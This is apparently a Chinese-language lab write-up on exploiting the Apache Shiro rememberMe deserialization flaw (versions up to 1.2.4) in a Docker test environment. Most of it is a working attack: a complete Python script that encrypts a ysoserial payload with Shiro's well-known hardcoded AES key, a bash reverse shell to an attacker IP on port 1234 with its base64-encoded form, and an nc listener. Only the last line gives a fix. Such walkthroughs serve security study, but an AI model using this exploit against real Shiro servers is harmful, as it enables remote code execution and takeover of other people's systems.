Shiro 是 Java 的一个安全框架,执行身份验证、授权、密码、会话管理
shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值–>Base64解码–>AES解密–>反序列化 然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。
原理解释https://www.freebuf.com/vuls/178014.html
什么是硬编码:
硬编码要求程序的源代码在输入数据或所需格式发生变化时进行更改,以便最终用户可以通过程序外的某种方式更改细节。
http 请求包 cookie 中的 rememberMe 参数。
该漏洞对shiro<=1.2.4的版本有影响。
1.漏洞环境
2.攻击准备的工具
安装pycrypto
sudo pip3 install pycrypto(19kali自带py3)
安装MVN (注:安装mvn需要在jdk已经安装的前提下,kali默认有安装。
sudo apt install maven
验证 mvn –version
安装ysoserial的jar文件
root@kali:~# git clone https://github.com/frohoff/ysoserial.git
root@kali:~# cd ysoserial
root@kali:~/ysoserial# mvn package -DskipTests
(但这一步我出现了问题,处理了很久也没办法解决)
最后解决的方法是直接下载ysoserial-0.0.6-SNAPSHOT-BETA-all.jar这个jar的文件,然后上传到ysoserial/target的目录下,准备的脚本也放到同一目录下(test.py)
python的攻击脚本
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-BETA-all.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
with open("/tmp/payload.cookie", "w") as fpw:
print("rememberMe={}".format(payload.decode()), file=fpw)
获取docker镜像
Docker pull medicean/vulapps:s_shiro_1
重启docker
systemctl start docker
启动环境把8080端口改为8081端口
docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1
攻击机ip为158,靶机为144
此时漏洞环境已经搭建成功,如下所示:
攻击机192.168.10.158访问靶机144并抓包可看到有rememberme字样的cookie
反弹命令进行加密http://www.jackson-t.ca/runtime-exec-payloads.html
bash -i >& /dev/tcp/192.168.10.158/1234 0>&1
加密后如下
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjE1OC8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}
注意这里的脚本和jar文件是同一个目录下的,虽然有WARNING警告,但不影响tmp目录下生成remember cookie值
切换到tmp目录即可看到生成的cookie
注意这个伪造的cookie值需要复制到响应包有remember值的包发送才可能得到反弹shell,我也尝试过在漏洞页面的其他包进行伪造cookie值发送,是得不到反弹shell的
同时攻击机多开命令框进行nc的一个端口监听nc -lvp 1234,然后再发送伪造的cookie值
点击发送伪造的包,此时就能获得靶机的反弹shell
升级shiro到1.2.5及以上,并且不要使用一些已经被公开的密钥,要利用官方提供的方法生成密钥